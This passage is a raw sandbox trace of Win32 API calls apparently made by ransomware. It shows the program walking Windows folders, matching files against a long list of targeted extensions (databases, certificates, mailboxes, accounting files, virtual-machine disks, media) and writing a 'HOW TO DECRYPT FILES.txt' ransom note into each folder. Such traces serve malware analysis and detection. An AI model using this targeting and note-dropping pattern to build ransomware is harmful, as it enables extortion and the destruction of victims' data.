(pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\dcc11202188c9fa2ba06359a04d4b43a\\Microsoft.Windows.Diagnosis.SDHost.ni.dll", pszSpec="*.edb") returned 0 [0111.569] lstrlenA (lpString="*.edb") returned 5 [0111.569] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\dcc11202188c9fa2ba06359a04d4b43a\\Microsoft.Windows.Diagnosis.SDHost.ni.dll", pszSpec="*.accdb") returned 0 [0111.569] lstrlenA (lpString="*.accdb") returned 7 [0111.569] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\dcc11202188c9fa2ba06359a04d4b43a\\Microsoft.Windows.Diagnosis.SDHost.ni.dll", pszSpec="*.odb") returned 0 [0111.570] lstrlenA (lpString="*.odb") returned 5 [0111.570] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\dcc11202188c9fa2ba06359a04d4b43a\\Microsoft.Windows.Diagnosis.SDHost.ni.dll", pszSpec="*.java") returned 0 [0111.570] lstrlenA (lpString="*.java") returned 6 [0111.570] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\dcc11202188c9fa2ba06359a04d4b43a\\Microsoft.Windows.Diagnosis.SDHost.ni.dll", pszSpec="*.asm") returned 0 [0111.570] lstrlenA (lpString="*.asm") returned 5 [0111.570] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\dcc11202188c9fa2ba06359a04d4b43a\\Microsoft.Windows.Diagnosis.SDHost.ni.dll", pszSpec="*.pfx") returned 0 [0111.570] lstrlenA (lpString="*.pfx") returned 5 [0111.570] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\dcc11202188c9fa2ba06359a04d4b43a\\Microsoft.Windows.Diagnosis.SDHost.ni.dll", pszSpec="*.pem") returned 0 [0111.570] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\dcc11202188c9fa2ba06359a04d4b43a\\Microsoft.Windows.Diagnosis.SDHost.ni.dll", pszSpec="*.p12") returned 0 [0111.570] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\dcc11202188c9fa2ba06359a04d4b43a\\Microsoft.Windows.Diagnosis.SDHost.ni.dll", pszSpec="*.gpg") returned 0 [0111.570] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\dcc11202188c9fa2ba06359a04d4b43a\\Microsoft.Windows.Diagnosis.SDHost.ni.dll", pszSpec="*.vsd") returned 0 [0111.571] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\dcc11202188c9fa2ba06359a04d4b43a\\Microsoft.Windows.Diagnosis.SDHost.ni.dll", pszSpec="*.odg") returned 0 [0111.571] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\dcc11202188c9fa2ba06359a04d4b43a\\Microsoft.Windows.Diagnosis.SDHost.ni.dll", pszSpec="*.raw") returned 0 [0111.571] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\dcc11202188c9fa2ba06359a04d4b43a\\Microsoft.Windows.Diagnosis.SDHost.ni.dll", pszSpec="*.nef") returned 0 [0111.571] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\dcc11202188c9fa2ba06359a04d4b43a\\Microsoft.Windows.Diagnosis.SDHost.ni.dll", pszSpec="*.svg") returned 0 [0111.571] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\dcc11202188c9fa2ba06359a04d4b43a\\Microsoft.Windows.Diagnosis.SDHost.ni.dll", pszSpec="*.psd") returned 0 [0111.571] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\dcc11202188c9fa2ba06359a04d4b43a\\Microsoft.Windows.Diagnosis.SDHost.ni.dll", pszSpec="*.vmx") returned 0 [0111.571] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\dcc11202188c9fa2ba06359a04d4b43a\\Microsoft.Windows.Diagnosis.SDHost.ni.dll", pszSpec="*.vmdk") returned 0 [0111.571] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\dcc11202188c9fa2ba06359a04d4b43a\\Microsoft.Windows.Diagnosis.SDHost.ni.dll", pszSpec="*.vdi") returned 0 [0111.571] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\dcc11202188c9fa2ba06359a04d4b43a\\Microsoft.Windows.Diagnosis.SDHost.ni.dll", pszSpec="*.lay6") returned 0 [0111.571] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\dcc11202188c9fa2ba06359a04d4b43a\\Microsoft.Windows.Diagnosis.SDHost.ni.dll", pszSpec="*.mpeg") returned 0 [0111.571] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\dcc11202188c9fa2ba06359a04d4b43a\\Microsoft.Windows.Diagnosis.SDHost.ni.dll", pszSpec="*.djvu") returned 0 [0111.571] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\dcc11202188c9fa2ba06359a04d4b43a\\Microsoft.Windows.Diagnosis.SDHost.ni.dll", pszSpec="*.tiff") returned 0 [0111.572] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\dcc11202188c9fa2ba06359a04d4b43a\\Microsoft.Windows.Diagnosis.SDHost.ni.dll", pszSpec="*.backup") returned 0 [0111.572] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\dcc11202188c9fa2ba06359a04d4b43a\\Microsoft.Windows.Diagnosis.SDHost.ni.dll", pszSpec="*.pdf") returned 0 [0111.572] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\dcc11202188c9fa2ba06359a04d4b43a\\Microsoft.Windows.Diagnosis.SDHost.ni.dll", pszSpec="*.cert") returned 0 [0111.572] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\dcc11202188c9fa2ba06359a04d4b43a\\Microsoft.Windows.Diagnosis.SDHost.ni.dll", pszSpec="*.docm") returned 0 [0111.572] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\dcc11202188c9fa2ba06359a04d4b43a\\Microsoft.Windows.Diagnosis.SDHost.ni.dll", pszSpec="*.xlsm") returned 0 [0111.572] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\dcc11202188c9fa2ba06359a04d4b43a\\Microsoft.Windows.Diagnosis.SDHost.ni.dll", pszSpec="*.dwg") returned 0 [0111.572] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\dcc11202188c9fa2ba06359a04d4b43a\\Microsoft.Windows.Diagnosis.SDHost.ni.dll", pszSpec="*.nd") returned 0 [0111.572] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\dcc11202188c9fa2ba06359a04d4b43a\\Microsoft.Windows.Diagnosis.SDHost.ni.dll", pszSpec="*.tlg") returned 0 [0111.572] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\dcc11202188c9fa2ba06359a04d4b43a\\Microsoft.Windows.Diagnosis.SDHost.ni.dll", pszSpec="*.lgb") returned 0 [0111.572] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\dcc11202188c9fa2ba06359a04d4b43a\\Microsoft.Windows.Diagnosis.SDHost.ni.dll", pszSpec="*.mov") returned 0 [0111.572] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\dcc11202188c9fa2ba06359a04d4b43a\\Microsoft.Windows.Diagnosis.SDHost.ni.dll", pszSpec="*.xdw") returned 0 [0111.572] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\dcc11202188c9fa2ba06359a04d4b43a\\Microsoft.Windows.Diagnosis.SDHost.ni.dll", pszSpec="*.ods") returned 0 [0111.573] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\dcc11202188c9fa2ba06359a04d4b43a\\Microsoft.Windows.Diagnosis.SDHost.ni.dll", pszSpec="*.wav") returned 0 [0111.573] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\dcc11202188c9fa2ba06359a04d4b43a\\Microsoft.Windows.Diagnosis.SDHost.ni.dll", pszSpec="*.mp3") returned 0 [0111.573] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\dcc11202188c9fa2ba06359a04d4b43a\\Microsoft.Windows.Diagnosis.SDHost.ni.dll", pszSpec="*.aiff") returned 0 [0111.573] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\dcc11202188c9fa2ba06359a04d4b43a\\Microsoft.Windows.Diagnosis.SDHost.ni.dll", pszSpec="*.flac") returned 0 [0111.573] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\dcc11202188c9fa2ba06359a04d4b43a\\Microsoft.Windows.Diagnosis.SDHost.ni.dll", pszSpec="*.m4a") returned 0 [0111.573] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\dcc11202188c9fa2ba06359a04d4b43a\\Microsoft.Windows.Diagnosis.SDHost.ni.dll", pszSpec="*.csv") returned 0 [0111.573] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd289e34, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xfd289e34, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xfd289e34, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0xea00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.Windows.Diagnosis.SDHost.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 0 [0111.573] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0111.573] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd17f492, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xfd17f492, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xfd17f492, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="e97b40597db13e8a8151b30b9c59007e", cAlternateFileName="E97B40~1")) returned 1 [0111.573] lstrcmpA (lpString1=".", lpString2="e97b40597db13e8a8151b30b9c59007e") returned -1 [0111.573] lstrcmpA (lpString1="..", lpString2="e97b40597db13e8a8151b30b9c59007e") returned -1 [0111.573] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\*.*") returned="*.*" [0111.573] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\", lpString2="e97b40597db13e8a8151b30b9c59007e" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\e97b40597db13e8a8151b30b9c59007e") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\e97b40597db13e8a8151b30b9c59007e" [0111.574] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\e97b40597db13e8a8151b30b9c59007e\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd17f492, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xfd17f492, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xfd17f492, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0111.574] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0111.574] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd17f492, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xfd17f492, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xfd17f492, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0111.574] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0111.574] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0111.574] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd1331d1, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xfd1331d1, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xfd1331d1, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0xaa00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.Windows.Diagnosis.Commands.GetDiagInput.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0111.574] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0111.574] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.Windows.Diagnosis.Commands.GetDiagInput.ni.dll") returned -1 [0111.574] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.Windows.Diagnosis.Commands.GetDiagInput.ni.dll") returned -1 [0111.574] lstrcmpiA (lpString1="", lpString2="Microsoft.Windows.Diagnosis.Commands.GetDiagInput.ni.dll") returned -1 [0111.574] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\e97b40597db13e8a8151b30b9c59007e\\*.*") returned="*.*" [0111.574] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\e97b40597db13e8a8151b30b9c59007e\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\e97b40597db13e8a8151b30b9c59007e\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\e97b40597db13e8a8151b30b9c59007e\\" [0111.574] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\e97b40597db13e8a8151b30b9c59007e\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\e97b40597db13e8a8151b30b9c59007e\\") returned="" [0111.574] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\e97b40597db13e8a8151b30b9c59007e\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\e97b40597db13e8a8151b30b9c59007e\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\e97b40597db13e8a8151b30b9c59007e\\HOW TO DECRYPT FILES.txt" [0111.574] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\e97b40597db13e8a8151b30b9c59007e\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.windows.d#\\e97b40597db13e8a8151b30b9c59007e\\how to decrypt files.txt")) returned 0xffffffff [0111.575] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\e97b40597db13e8a8151b30b9c59007e\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.windows.d#\\e97b40597db13e8a8151b30b9c59007e\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0111.594] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0111.595] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0111.595] CloseHandle (hObject=0x90) returned 1 [0111.595] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\e97b40597db13e8a8151b30b9c59007e\\", lpString2="Microsoft.Windows.Diagnosis.Commands.GetDiagInput.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\e97b40597db13e8a8151b30b9c59007e\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\e97b40597db13e8a8151b30b9c59007e\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.ni.dll" [0111.596] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\e97b40597db13e8a8151b30b9c59007e\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.ni.dll", pszSpec="*.ems") returned 0 [0111.596] lstrlenA (lpString="*.ems") returned 5 [0111.596] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\e97b40597db13e8a8151b30b9c59007e\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.ni.dll", pszSpec="*.db") returned 0 [0111.596] lstrlenA (lpString="*.db") returned 4 [0111.596] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\e97b40597db13e8a8151b30b9c59007e\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.ni.dll", pszSpec="*.dbf") returned 0 [0111.596] lstrlenA (lpString="*.dbf") returned 5 [0111.596] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\e97b40597db13e8a8151b30b9c59007e\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.ni.dll", pszSpec="*.myox") returned 0 [0111.596] lstrlenA (lpString="*.myox") returned 6 [0111.596] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\e97b40597db13e8a8151b30b9c59007e\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.ni.dll", pszSpec="*.myo") returned 0 [0111.596] lstrlenA (lpString="*.myo") returned 5 [0111.596] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\e97b40597db13e8a8151b30b9c59007e\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.ni.dll", pszSpec="*.qbw") returned 0 [0111.596] lstrlenA (lpString="*.qbw") returned 5 [0111.596] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\e97b40597db13e8a8151b30b9c59007e\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.ni.dll", pszSpec="*.qbb") returned 0 [0111.596] lstrlenA (lpString="*.qbb") returned 5 [0111.596] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\e97b40597db13e8a8151b30b9c59007e\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.ni.dll", pszSpec="*.qbm") returned 0 [0111.596] lstrlenA (lpString="*.qbm") returned 5 [0111.596] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\e97b40597db13e8a8151b30b9c59007e\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.ni.dll", pszSpec="*.qbo") returned 0 [0111.596] lstrlenA (lpString="*.qbo") returned 5 [0111.596] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\e97b40597db13e8a8151b30b9c59007e\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.ni.dll", pszSpec="*.qbx") returned 0 [0111.596] lstrlenA (lpString="*.qbx") returned 5 [0111.596] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\e97b40597db13e8a8151b30b9c59007e\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.ni.dll", pszSpec="*.qba") returned 0 [0111.596] lstrlenA (lpString="*.qba") returned 5 [0111.596] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\e97b40597db13e8a8151b30b9c59007e\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.ni.dll", pszSpec="*.qby") returned 0 [0111.596] lstrlenA (lpString="*.qby") returned 5 [0111.597] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\e97b40597db13e8a8151b30b9c59007e\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.ni.dll", pszSpec="*.qbj") returned 0 [0111.597] lstrlenA (lpString="*.qbj") returned 5 [0111.597] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\e97b40597db13e8a8151b30b9c59007e\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.ni.dll", pszSpec="*.ofx") returned 0 [0111.597] lstrlenA (lpString="*.ofx") returned 5 [0111.597] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\e97b40597db13e8a8151b30b9c59007e\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.ni.dll", pszSpec="*.qif") returned 0 [0111.597] lstrlenA (lpString="*.qif") returned 5 [0111.597] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\e97b40597db13e8a8151b30b9c59007e\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.ni.dll", pszSpec="*.mye") returned 0 [0111.597] lstrlenA (lpString="*.mye") returned 5 [0111.597] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\e97b40597db13e8a8151b30b9c59007e\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.ni.dll", pszSpec="*.mbox") returned 0 [0111.597] lstrlenA (lpString="*.mbox") returned 6 [0111.597] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\e97b40597db13e8a8151b30b9c59007e\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.ni.dll", pszSpec="*.eml") returned 0 [0111.597] lstrlenA (lpString="*.eml") returned 5 [0111.597] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\e97b40597db13e8a8151b30b9c59007e\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.ni.dll", pszSpec="*.pst") returned 0 [0111.597] lstrlenA (lpString="*.pst") returned 5 [0111.597] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\e97b40597db13e8a8151b30b9c59007e\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.ni.dll", pszSpec="*.ost") returned 0 [0111.597] lstrlenA (lpString="*.ost") returned 5 [0111.597] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\e97b40597db13e8a8151b30b9c59007e\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.ni.dll", pszSpec="*.idx") returned 0 [0111.597] lstrlenA (lpString="*.idx") returned 5 [0111.597] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\e97b40597db13e8a8151b30b9c59007e\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.ni.dll", pszSpec="*.dbx") returned 0 [0111.597] lstrlenA (lpString="*.dbx") returned 5 [0111.597] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\e97b40597db13e8a8151b30b9c59007e\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.ni.dll", pszSpec="*.sql") returned 0 [0111.597] lstrlenA (lpString="*.sql") returned 5 [0111.597] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\e97b40597db13e8a8151b30b9c59007e\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.ni.dll", pszSpec="*.mdb") returned 0 [0111.597] lstrlenA (lpString="*.mdb") returned 5 [0111.597] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\e97b40597db13e8a8151b30b9c59007e\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.ni.dll", pszSpec="*.fdb") returned 0 [0111.598] lstrlenA (lpString="*.fdb") returned 5 [0111.598] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\e97b40597db13e8a8151b30b9c59007e\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.ni.dll", pszSpec="*.wab") returned 0 [0111.598] lstrlenA (lpString="*.wab") returned 5 [0111.598] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\e97b40597db13e8a8151b30b9c59007e\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.ni.dll", pszSpec="*.dat") returned 0 [0111.598] lstrlenA (lpString="*.dat") returned 5 [0111.598] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\e97b40597db13e8a8151b30b9c59007e\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.ni.dll", pszSpec="*.txt") returned 0 [0111.598] lstrlenA (lpString="*.txt") returned 5 [0111.598] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\e97b40597db13e8a8151b30b9c59007e\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.ni.dll", pszSpec="*.jpeg") returned 0 [0111.598] lstrlenA (lpString="*.jpeg") returned 6 [0111.598] PathMatchSpecA 